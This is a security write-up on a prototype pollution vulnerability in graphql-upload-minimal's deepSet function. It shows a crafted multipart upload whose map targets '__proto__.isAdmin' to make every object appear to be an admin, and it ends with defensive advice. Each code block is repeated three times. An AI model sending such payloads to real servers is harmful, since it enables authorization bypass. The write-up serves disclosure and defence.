The __proto__ Path to Object.prototype

Maor Caplan

The __proto__ Path to Object.prototype

In this writeup we’ll explore how a vulnerability in graphql-upload-minimal allowed attackers to pollute Object.prototype through the GraphQL file upload mechanism.

What is Prototype Pollution?

In JavaScript, almost everything is an object, and every object has a hidden link to another object, its prototype. When you access a property, JavaScript first checks the object itself then walks up this prototype chain looking for it.

const user = { name: "Alice" };
console.log(user.toString()); // inherited through the prototype chain
const user = { name: "Alice" };
console.log(user.toString()); // inherited through the prototype chain
const user = { name: "Alice" };
console.log(user.toString()); // inherited through the prototype chain

Prototype pollution happens when an attacker injects properties into Object.prototype. Once polluted every object in the application inherits the malicious property

Object.prototype.isAdmin = true;
const newUser = { name: "Bobo" };
console.log(newUser.isAdmin); // true, Bobo is now an admin
Object.prototype.isAdmin = true;
const newUser = { name: "Bobo" };
console.log(newUser.isAdmin); // true, Bobo is now an admin
Object.prototype.isAdmin = true;
const newUser = { name: "Bobo" };
console.log(newUser.isAdmin); // true, Bobo is now an admin

This flaw has a broad impact because it affects all objects created after the pollution, persists until the process restarts, and can bypass authentication and authorization checks, all from a single request.


Every JavaScript object has a hidden [[Prototype]] slot. JavaScript exposes this via the __proto__ property, if an attacker can control a property path, they can do

object["__proto__"]["isAdmin"] = true; // Now Object.prototype.isAdmin === true
object["__proto__"]["isAdmin"] = true; // Now Object.prototype.isAdmin === true
object["__proto__"]["isAdmin"] = true; // Now Object.prototype.isAdmin === true

How GraphQL File Uploads Work

Before we see the exploit, let’s dig into GraphQL multipart uploads.

When uploading files via GraphQL, clients send a multipart/form-data request with three parts, wherever a file will go, you put null as a placeholder.

{
  'query': 'mutation ($file: Upload!) { uploadFile(file: $file) }',
      'variables': {'file': null}
}
{
  'query': 'mutation ($file: Upload!) { uploadFile(file: $file) }',
      'variables': {'file': null}
}
{
  'query': 'mutation ($file: Upload!) { uploadFile(file: $file) }',
      'variables': {'file': null}
}

Why `null`? Because you can’t put a file directly into JSON.

sidenote: GraphQL wasn’t originally designed for file uploads. Because GraphQL operations are JSON-based, uploads are handled through a multipart convention layered on top of the protocol.

The map tells the server where each file should be plugged into the JSON. It maps file indexes to the JSON paths that should receive them.

{  "0": ["variables.file"]}
{  "0": ["variables.file"]}
{  "0": ["variables.file"]}

This means: File #0 from the multipart request should be inserted into variables.file

These are the actual uploaded files, each file is attached as a normal multipart field with a key like `”0"` or `”1"` (matching the map).

Content - Disposition: form - data;
name = '0';
filename = 'photo.jpg' Content - Type: image / jpeg[binary file data]
Content - Disposition: form - data;
name = '0';
filename = 'photo.jpg' Content - Type: image / jpeg[binary file data]
Content - Disposition: form - data;
name = '0';
filename = 'photo.jpg' Content - Type: image / jpeg[binary file data]

The Vulnerable Code:

The server uses a function called deepSet to walk the path from the map and place the file.

deepSet(operations, "variables.file", uploadObject);
deepSet(operations, "variables.file", uploadObject);
deepSet(operations, "variables.file", uploadObject);

The map field is completely user controlled. Whatever path you specify, deepSet will walk it.

A deepSet function lets you set a value deep inside a nested object using a dot-separated path string. For example

const obj = { user: { profile: {} } };
deepSet(obj, "user.profile.name", "Alice"); // Result: obj.user.profile.name === "Alice"
const obj = { user: { profile: {} } };
deepSet(obj, "user.profile.name", "Alice"); // Result: obj.user.profile.name === "Alice"
const obj = { user: { profile: {} } };
deepSet(obj, "user.profile.name", "Alice"); // Result: obj.user.profile.name === "Alice"

This is useful when you need to dynamically set properties without knowing the structure at compile time, JavaScript allows property access via bracket notation with strings:

obj['foo']  // same as obj.fooobj["foo"]["bar"] // same as obj.foo.bar
obj['foo']  // same as obj.fooobj["foo"]["bar"] // same as obj.foo.bar
obj['foo']  // same as obj.fooobj["foo"]["bar"] // same as obj.foo.bar

A typical deepSet splits the path string and walks through the object:

function deepSet(object, path, value) {
  const props = path.split(".");

  while (props.length !== 1) {
    object = object[props.shift()]; // Walk to next level
    if (!object)
      throw new Error(`The path ${path} was not found.`);
  }

  object[props[0]] = value; // Set the final property
}
function deepSet(object, path, value) {
  const props = path.split(".");

  while (props.length !== 1) {
    object = object[props.shift()]; // Walk to next level
    if (!object)
      throw new Error(`The path ${path} was not found.`);
  }

  object[props[0]] = value; // Set the final property
}
function deepSet(object, path, value) {
  const props = path.split(".");

  while (props.length !== 1) {
    object = object[props.shift()]; // Walk to next level
    if (!object)
      throw new Error(`The path ${path} was not found.`);
  }

  object[props[0]] = value; // Set the final property
}

The danger is that JavaScript doesn’t distinguish between normal properties and special ones like __proto__. If you do obj[“__proto__”], you’re accessing the object’s prototype chain directly.

Custom deepSet implementations are a common source of prototype pollution vulnerabilities. Note that this pattern appears under many names setPath, setDeep, setValue, setByPath, setNestedProperty, or even just set. The problem is developers focus on the happy path and forget that property names like __proto__ have special meaning in JavaScript.

Battle tested libraries have addressed these issues. For example, lodash.set includes prototype pollution protection, when you need dynamic property access prefer established libraries over custom implementations.

The original graphql-upload-minimal code:

function deepSet(object, path, value) {
  const props = path.split('.');
  while (props.length !== 1) {
    object = object[props.shift()];
  }
  if (!object) throw new Error(`The path ${path} was not found.`);
  object[props[0]] = value;
}
function deepSet(object, path, value) {
  const props = path.split('.');
  while (props.length !== 1) {
    object = object[props.shift()];
  }
  if (!object) throw new Error(`The path ${path} was not found.`);
  object[props[0]] = value;
}
function deepSet(object, path, value) {
  const props = path.split('.');
  while (props.length !== 1) {
    object = object[props.shift()];
  }
  if (!object) throw new Error(`The path ${path} was not found.`);
  object[props[0]] = value;
}

No validation of path segments. The code blindly walks whatever path the user provides, including __proto__

The attacker can send a malicious multipart GraphQL upload request that looks normal on the surface, but the map is crafted to exploit prototype pollution. Let’s break down each part.

The Operation

{
  'query': 'mutation($file:Upload!){upload(file:$file)}',
      'variables': {'file': null}
}
{
  'query': 'mutation($file:Upload!){upload(file:$file)}',
      'variables': {'file': null}
}
{
  'query': 'mutation($file:Upload!){upload(file:$file)}',
      'variables': {'file': null}
}

This is a normal GraphQL upload mutation. The server expects one variable file, which is currently null (placeholder). Nothing malicious here yet.

The Map

{"0":["__proto__.isAdmin"]}
{"0":["__proto__.isAdmin"]}
{"0":["__proto__.isAdmin"]}

This is the dangerous part. Normally the map would look something like {“0”: [“variables.file”]} but here the attacker tells the server to take file zero and put it into a property like __proto__.isAdmin

This means the attacker is trying to write into JavaScript’s global prototype object, not into variables.file, If the server blindly trusts the map it does

object["__proto__"].isAdmin = <file content>
object["__proto__"].isAdmin = <file content>
object["__proto__"].isAdmin = <file content>

Which effectively becomes:

Object.prototype.isAdmin = true
Object.prototype.isAdmin = true
Object.prototype.isAdmin = true

Then every object in the system inherits isAdmin = true

The File

true
true
true

This is the entire actual content of the uploaded “file.” It’s not a real file, it’s simply the text true. Because the map says this file goes tod __proto__.isAdmin, the attacker is setting __proto__.isAdmin = true

Defensive Measures

Never trust user input for property paths, always validate and block dangerous keys like __proto__. The GraphQL multipart map field is an often-overlooked attack surface that provides direct control over object paths. The maintainers of graphql-upload-minimal responded quickly to fix the issue, but the lesson remains: whenever you dynamically access object properties based on user input, validate those paths carefully.